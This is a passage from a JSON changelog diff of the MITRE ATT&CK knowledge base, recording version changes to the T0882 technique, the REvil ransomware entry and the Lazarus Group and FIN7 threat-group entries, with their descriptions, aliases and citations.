+ "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_detection']\": \"\"}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:21.744000+00:00\", \"old_value\": \"2025-04-25 15:16:51.447000+00:00\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M0816: Mitigation Limited or Not Effective" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0751: Detection of Screen Capture" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b7e13ee8-182c-4f19-92a4-a88d7d855d54", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-05-21 17:43:26.506000+00:00", + "modified": "2025-10-24 17:49:16.405000+00:00", + "name": "Theft of Operational Information", + "description": "Adversaries may steal operational information on a production environment as a direct mission outcome for personal gain or to inform future operations. This information may include design documents, schedules, rotational data, or similar artifacts that provide insight on operations. In the Bowman Dam incident, adversaries probed systems for operational data. (Citation: Mark Thompson March 2016) (Citation: Danny Yadron December 2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-ics-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T0882", + "external_id": "T0882" + }, + { + "source_name": "Mark Thompson March 2016", + "description": "Mark Thompson 2016, March 24 Iranian Cyber Attack on New York Dam Shows Future of War Retrieved. 2019/11/07 ", + "url": "https://time.com/4270728/iran-cyber-attack-dam-fbi/" + }, + { + "source_name": "Danny Yadron December 2015", + "description": "Danny Yadron 2015, December 20 Iranian Hackers Infiltrated New York Dam in 2013 Retrieved. 2019/11/07 ", + "url": "https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "None" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_detection']\": \"\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.405000+00:00\", \"old_value\": \"2025-04-25 15:16:50.981000+00:00\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M0803: Data Loss Prevention", + "M0809: Operational Information Confidentiality", + "M0922: Restrict File and Directory Permissions", + "M0941: Encrypt Sensitive Information" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0732: Detection of Theft of Operational Information" + ], + "dropped": [] + } + } + ], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "software": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [ + { + "type": "malware", + "id": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-08-04 15:06:14.796000+00:00", + "modified": "2025-10-22 02:14:27.600000+00:00", + "name": "REvil", + "description": "[REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496), which as been used against organizations in the manufacturing, transportation, and electric sectors, is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0496", + "external_id": "S0496" + }, + { + "source_name": "Sodin", + "description": "(Citation: Intel 471 REvil March 2020)(Citation: Kaspersky Sodin July 2019)" + }, + { + "source_name": "Sodinokibi", + "description": "(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee REvil October 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)(Citation: Tetra Defense Sodinokibi March 2020)" + }, + { + "source_name": "Talos Sodinokibi April 2019", + "description": "Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020.", + "url": "https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html" + }, + { + "source_name": "Secureworks REvil September 2019", + "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020.", + "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware" + }, + { + "source_name": "Cylance Sodinokibi July 2019", + "description": "Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020.", + "url": "https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html" + }, + { + "source_name": "Group IB Ransomware May 2020", + "description": "Group IB. (2020, May). Ransomware Uncovered: Attackers\u2019 Latest Methods. Retrieved August 5, 2020.", + "url": "https://www.group-ib.com/whitepapers/ransomware-uncovered.html" + }, + { + "source_name": "G Data Sodinokibi June 2019", + "description": "Han, Karsten. (2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020.", + "url": "https://www.gdatasoftware.com/blog/2019/06/31724-strange-bits-sodinokibi-spam-cinarat-and-fake-g-data" + }, + { + "source_name": "Intel 471 REvil March 2020", + "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020.", + "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/" + }, + { + "source_name": "Kaspersky Sodin July 2019", + "description": "Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020.", + "url": "https://securelist.com/sodin-ransomware/91473/" + }, + { + "source_name": "McAfee Sodinokibi October 2019", + "description": "McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 What The Code Tells Us. Retrieved August 4, 2020.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/" + }, + { + "source_name": "Picus Sodinokibi January 2020", + "description": "Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020.", + "url": "https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware" + }, + { + "source_name": "McAfee REvil October 2019", + "description": "Saavedra-Morales, J, et al. (2019, October 20). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 Crescendo. Retrieved August 5, 2020.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/" + }, + { + "source_name": "Secureworks GandCrab and REvil September 2019", + "description": "Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020.", + "url": "https://www.secureworks.com/blog/revil-the-gandcrab-connection" + }, + { + "source_name": "Tetra Defense Sodinokibi March 2020", + "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20210414101816/https://tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "REvil", + "Sodin", + "Sodinokibi" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Edward Millington" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 02:14:27.600000+00:00\", \"old_value\": \"2024-11-17 23:08:38.543000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.3\", \"old_value\": \"2.2\"}}}", + "previous_version": "2.2", + "version_change": "2.2 \u2192 2.3" + } + ], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "groups": { + "additions": [], + "major_version_changes": [ + { + "type": "intrusion-set", + "id": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:03.807000+00:00", + "modified": "2025-10-24 01:29:21.748000+00:00", + "name": "Lazarus Group", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group attributed to the Reconnaissance General Bureau (RGB). (Citation: US-CERT HIDDEN COBRA June 2017) (Citation: Treasury North Korean Cyber Groups September 2019) [Lazarus Group](https://attack.mitre.org/groups/G0032) has been active since at least 2009 and is reportedly responsible for the November 2014 destructive wiper attack on Sony Pictures Entertainment, identified by Novetta as part of Operation Blockbuster. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster)\n\nNorth Korea\u2019s cyber operations have shown a consistent pattern of adaptation, forming and reorganizing units as national priorities shift. These units frequently share personnel, infrastructure, malware, and tradecraft, making it difficult to attribute specific operations with high confidence. Public reporting often uses \u201cLazarus Group\u201d as an umbrella term for multiple North Korean cyber operators conducting espionage, destructive attacks, and financially motivated campaigns.(Citation: Mandiant DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Groups 2023)(Citation: JPCert Blog Laz Subgroups 2025)\n\n", + "aliases": [ + "Lazarus Group", + "Labyrinth Chollima", + "HIDDEN COBRA", + "Guardians of Peace", + "ZINC", + "NICKEL ACADEMY", + "Diamond Sleet" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0032", + "external_id": "G0032" + }, + { + "source_name": "Labyrinth Chollima", + "description": "(Citation: CrowdStrike Labyrinth Chollima Feb 2022)" + }, + { + "source_name": "Diamond Sleet", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "ZINC", + "description": "(Citation: Microsoft ZINC disruption Dec 2017)" + }, + { + "source_name": "Lazarus Group", + "description": "(Citation: Novetta Blockbuster)" + }, + { + "source_name": "NICKEL ACADEMY", + "description": "(Citation: Secureworks NICKEL ACADEMY Dec 2017)" + }, + { + "source_name": "Guardians of Peace", + "description": "(Citation: US-CERT HIDDEN COBRA June 2017)" + }, + { + "source_name": "CrowdStrike Labyrinth Chollima Feb 2022", + "description": "CrowdStrike. (2022, February 1). CrowdStrike Adversary Labyrinth Chollima. Retrieved February 1, 2022.", + "url": "https://web.archive.org/web/20210723190317/https://adversary.crowdstrike.com/en-US/adversary/labyrinth-chollima/" + }, + { + "source_name": "Mandiant DPRK Groups 2023", + "description": "Michael Barnhart, Austin Larsen, Jeff Johnson, Taylor Long, Michelle Cantos, Adrian Hernandez. (2023, October 10). Assessed Cyber Structure and Alignments of North Korea in 2023. Retrieved August 25, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/north-korea-cyber-structure-alignment-2023" + }, + { + "source_name": "Mandiant DPRK Laz Org Breakdown 2022", + "description": "Michael Barnhart, Michelle Cantos, Jeffery Johnson, Elias fox, Gary Freas, Dan Scott. (2022, March 23). Not So Lazarus: Mapping DPRK Cyber Threat Groups to Government Organizations. Retrieved September 9, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/mapping-dprk-groups-to-government/" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Secureworks NICKEL ACADEMY Dec 2017", + "description": "Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.", + "url": "https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing" + }, + { + "source_name": "Microsoft ZINC disruption Dec 2017", + "description": "Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017.", + "url": "https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/" + }, + { + "source_name": "HIDDEN COBRA", + "description": "The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: US-CERT HOPLIGHT Apr 2019)" + }, + { + "source_name": "Treasury North Korean Cyber Groups September 2019", + "description": "US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021.", + "url": "https://home.treasury.gov/news/press-releases/sm774" + }, + { + "source_name": "US-CERT HIDDEN COBRA June 2017", + "description": "US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA \u2013 North Korea\u2019s DDoS Botnet Infrastructure. Retrieved July 13, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-164A" + }, + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + }, + { + "source_name": "JPCert Blog Laz Subgroups 2025", + "description": "\u4f50\u3005\u6728\u52c7\u4eba Hayato Sasaki. (2025, March 25). Tempted to Classifying APT Actors: Practical Challenges of Attribution in the Case of Lazarus\u2019s Subgroup. Retrieved August 25, 2025.", + "url": "https://blogs.jpcert.or.jp/en/2025/03/classifying-lazaruss-subgroup.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Kyaw Pyiyt Htet, @KyawPyiytHtet", + "Dragos Threat Intelligence", + "MyungUk Han, ASEC", + "Jun Hirata, NEC Corporation", + "Manikantan Srinivasan, NEC Corporation India", + "Pooja Natarajan, NEC Corporation India" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "5.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 01:29:21.748000+00:00\", \"old_value\": \"2025-04-16 17:21:11.622000+00:00\"}, \"root['description']\": {\"new_value\": \"[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group attributed to the Reconnaissance General Bureau (RGB). (Citation: US-CERT HIDDEN COBRA June 2017) (Citation: Treasury North Korean Cyber Groups September 2019) [Lazarus Group](https://attack.mitre.org/groups/G0032) has been active since at least 2009 and is reportedly responsible for the November 2014 destructive wiper attack on Sony Pictures Entertainment, identified by Novetta as part of Operation Blockbuster. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster)\\n\\nNorth Korea\\u2019s cyber operations have shown a consistent pattern of adaptation, forming and reorganizing units as national priorities shift. These units frequently share personnel, infrastructure, malware, and tradecraft, making it difficult to attribute specific operations with high confidence. Public reporting often uses \\u201cLazarus Group\\u201d as an umbrella term for multiple North Korean cyber operators conducting espionage, destructive attacks, and financially motivated campaigns.(Citation: Mandiant DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Groups 2023)(Citation: JPCert Blog Laz Subgroups 2025)\\n\\n\", \"old_value\": \"[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster)\\n\\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,4 @@\\n-[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster)\\n+[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group attributed to the Reconnaissance General Bureau (RGB). (Citation: US-CERT HIDDEN COBRA June 2017) (Citation: Treasury North Korean Cyber Groups September 2019) [Lazarus Group](https://attack.mitre.org/groups/G0032) has been active since at least 2009 and is reportedly responsible for the November 2014 destructive wiper attack on Sony Pictures Entertainment, identified by Novetta as part of Operation Blockbuster. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta Blockbuster)\\n \\n-North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). \\n+North Korea\\u2019s cyber operations have shown a consistent pattern of adaptation, forming and reorganizing units as national priorities shift. These units frequently share personnel, infrastructure, malware, and tradecraft, making it difficult to attribute specific operations with high confidence. Public reporting often uses \\u201cLazarus Group\\u201d as an umbrella term for multiple North Korean cyber operators conducting espionage, destructive attacks, and financially motivated campaigns.(Citation: Mandiant DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Groups 2023)(Citation: JPCert Blog Laz Subgroups 2025)\\n+\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"5.0\", \"old_value\": \"4.1\"}}, \"iterable_item_added\": {\"root['external_references'][8]\": {\"source_name\": \"Mandiant DPRK Groups 2023\", \"description\": \"Michael Barnhart, Austin Larsen, Jeff Johnson, Taylor Long, Michelle Cantos, Adrian Hernandez. (2023, October 10). Assessed Cyber Structure and Alignments of North Korea in 2023. Retrieved August 25, 2025.\", \"url\": \"https://cloud.google.com/blog/topics/threat-intelligence/north-korea-cyber-structure-alignment-2023\"}, \"root['external_references'][9]\": {\"source_name\": \"Mandiant DPRK Laz Org Breakdown 2022\", \"description\": \"Michael Barnhart, Michelle Cantos, Jeffery Johnson, Elias fox, Gary Freas, Dan Scott. (2022, March 23). Not So Lazarus: Mapping DPRK Cyber Threat Groups to Government Organizations. Retrieved September 9, 2025.\", \"url\": \"https://cloud.google.com/blog/topics/threat-intelligence/mapping-dprk-groups-to-government/\"}, \"root['external_references'][18]\": {\"source_name\": \"JPCert Blog Laz Subgroups 2025\", \"description\": \"\\u4f50\\u3005\\u6728\\u52c7\\u4eba Hayato Sasaki. (2025, March 25). Tempted to Classifying APT Actors: Practical Challenges of Attribution in the Case of Lazarus\\u2019s Subgroup. Retrieved August 25, 2025.\", \"url\": \"https://blogs.jpcert.or.jp/en/2025/03/classifying-lazaruss-subgroup.html\"}}}", + "previous_version": "4.1", + "version_change": "4.1 \u2192 5.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Lazarus Group](https://attack.mitre.org/groups/G0032) is a t1[Lazarus Group](https://attack.mitre.org/groups/G0032) is a 
>North Korean state-sponsored cyber threat group that has bee>North Korean state-sponsored cyber threat group attributed t
>n attributed to the Reconnaissance General Bureau.(Citation:>o the Reconnaissance General Bureau (RGB). (Citation: US-CER
> US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Ko>T HIDDEN COBRA June 2017) (Citation: Treasury North Korean C
>rean Cyber Groups September 2019) The group has been active >yber Groups September 2019) [Lazarus Group](https://attack.m
>since at least 2009 and was reportedly responsible for the N>itre.org/groups/G0032) has been active since at least 2009 a
>ovember 2014 destructive wiper attack against Sony Pictures >nd is reportedly responsible for the November 2014 destructi
>Entertainment as part of a campaign named Operation Blockbus>ve wiper attack on Sony Pictures Entertainment, identified b
>ter by Novetta. Malware used by [Lazarus Group](https://atta>y Novetta as part of Operation Blockbuster. Malware used by 
>ck.mitre.org/groups/G0032) correlates to other reported camp>[Lazarus Group](https://attack.mitre.org/groups/G0032) corre
>aigns, including Operation Flame, Operation 1Mission, Operat>lates to other reported campaigns, including Operation Flame
>ion Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta>, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Day
> Blockbuster)  North Korean group definitions are known to h>s of Rain.(Citation: Novetta Blockbuster)  North Korea\u2019s cyb
>ave significant overlap, and some security researchers repor>er operations have shown a consistent pattern of adaptation,
>t all North Korean state-sponsored cyber activity under the > forming and reorganizing units as national priorities shift
>name [Lazarus Group](https://attack.mitre.org/groups/G0032) >. These units frequently share personnel, infrastructure, ma
>instead of tracking clusters or subgroups, such as [Andariel>lware, and tradecraft, making it difficult to attribute spec
>](https://attack.mitre.org/groups/G0138), [APT37](https://at>ific operations with high confidence. Public reporting often
>tack.mitre.org/groups/G0067), [APT38](https://attack.mitre.o> uses \u201cLazarus Group\u201d as an umbrella term for multiple North
>rg/groups/G0082), and [Kimsuky](https://attack.mitre.org/gro> Korean cyber operators conducting espionage, destructive at
>ups/G0094).   >tacks, and financially motivated campaigns.(Citation: Mandia
 >nt DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Grou
 >ps 2023)(Citation: JPCert Blog Laz Subgroups 2025)  
" + } + ], + "minor_version_changes": [ + { + "type": "intrusion-set", + "id": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:09.460000+00:00", + "modified": "2025-10-24 03:18:58.136000+00:00", + "name": "FIN7", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, pharmaceutical, and utilities industries in the United States. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was operated out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to big game hunting (BGH), including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware-as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but multiple threat groups have been observed using [Carbanak](https://attack.mitre.org/software/S0030), leading these groups to be tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)(Citation: BiZone Lizar May 2021)", + "aliases": [ + "FIN7", + "GOLD NIAGARA", + "ITG14", + "Carbon Spider", + "ELBRUS", + "Sangria Tempest" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0046", + "external_id": "G0046" + }, + { + "source_name": "Carbon Spider", + "description": "(Citation: CrowdStrike Carbon Spider August 2021)" + }, + { + "source_name": "FIN7", + "description": "(Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: Morphisec FIN7 June 2017) (Citation: FireEye FIN7 Shim Databases) (Citation: FireEye FIN7 Aug 2018)" + }, + { + "source_name": "ELBRUS", + "description": "(Citation: Microsoft Ransomware as a Service)" + }, + { + "source_name": "Sangria Tempest", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "GOLD NIAGARA", + "description": "(Citation: Secureworks GOLD NIAGARA Threat Profile)" + }, + { + "source_name": "Mandiant FIN7 Apr 2022", + "description": "Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 2022.", + "url": "https://www.mandiant.com/resources/evolution-of-fin7" + }, + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + }, + { + "source_name": "BiZone Lizar May 2021", + "description": "BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022.", + "url": "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319" + }, + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + }, + { + "source_name": "Secureworks GOLD NIAGARA Threat Profile", + "description": "CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021.", + "url": "https://www.secureworks.com/research/threat-profiles/gold-niagara" + }, + { + "source_name": "FireEye FIN7 Shim Databases", + "description": "Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html" + }, + { + "source_name": "Morphisec FIN7 June 2017", + "description": "Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.", + "url": "http://blog.morphisec.com/fin7-attacks-restaurant-industry" + }, + { + "source_name": "ITG14", + "description": "ITG14 shares campaign overlap with 